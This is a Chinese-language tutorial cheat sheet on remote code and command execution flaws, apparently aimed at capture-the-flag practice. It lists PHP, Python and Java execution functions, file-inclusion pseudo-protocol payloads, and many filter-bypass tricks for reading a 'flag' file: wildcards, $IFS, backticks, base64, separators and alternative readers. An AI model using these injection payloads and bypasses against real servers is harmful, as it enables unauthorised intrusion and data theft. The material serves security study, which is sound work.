Web通用漏洞--RCE
阅读原文时间:2023年08月14日阅读:1

Web通用漏洞--RCE

RCE远程代码/命令执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

RCE漏洞也分为代码执行漏洞和命令执行漏洞,所谓代码执行即通过漏洞点注入参数而使用源代码进行相应的操作,所谓的命令执行就是通过漏洞点注入参数使用源代码进行调用系统命令进行相关操作,从而达到执行系统命令的目的。无论是代码执行还是命令执行,两者都可以相互转换。代码执行可以通过调用源码中相应的系统命令执行函数进行命令执行的转换,命令执行可以通过源代码环境进行文件写入等操作,并通过命令行的方式进行代码执行的操作。因此无论是代码执行还是命令执行,两者都可以进行相互转换。

  • PHP代码执行函数:

    eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等

  • PHP命令执行函数:

    system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等

  • Python:

    eval exec subprocess os.system commands

  • Java:

    Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,

    但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.

伪协议玩法

配合文件包含伪协议(代码执行)

include $_GET[a]?>&a=data://text/plain,

include $_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=index.php

过滤关键字

  • 通配符

    flag=fl*
    cat fl*
    cat ?la*

  • 转义符号

    ca\t /fl\ag
    cat fl''ag

  • 空变量$*和$@,$x,${x}绕过

    ca$t fl$ag
    ca$@t fl$@ag
    ca$5t f$5lag
    ca${2}t f${2}lag

  • 拼接法

    a=fl;b=ag;cat$IFS$a$b

  • 反引号绕过:

    cat `ls`

  • 编码绕过:

    echo 'flag' | base64
    cat echo ZmxhZwo= | base64 -d

  • 组合绝活

    touch "ag"
    touch "fl\"
    touch "t \"
    touch "ca\"
    ls -t >shell
    sh shell

    \指的是换行

    ls -t是将文本按时间排序输出

    ls -t >shell 将输出输入到shell文件中

    sh将文本中的文字读取出来执行

异或无符号(过滤0-9a-zA-Z)

脚本生成16进制进行异或运算、或运算等

过滤函数关键字

内敛执行绕过(system)

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

过滤执行命令(如cat tac等)

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag

过滤空格

%09(url传递)(cat%09flag.php)
cat${IFS}flag
a=fl;b=ag;cat$IFS$a$b
{cat,flag}
> < <> 重定向符
%20

无回显利用

直接写个文件访问查看

直接进行对外访问接受

截断绕过

;前面和后面命令都要执行,无论前面真假
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

以上内容仅作参考学习,如有瑕疵或错误,希望各位师傅们斧正,感谢阅读。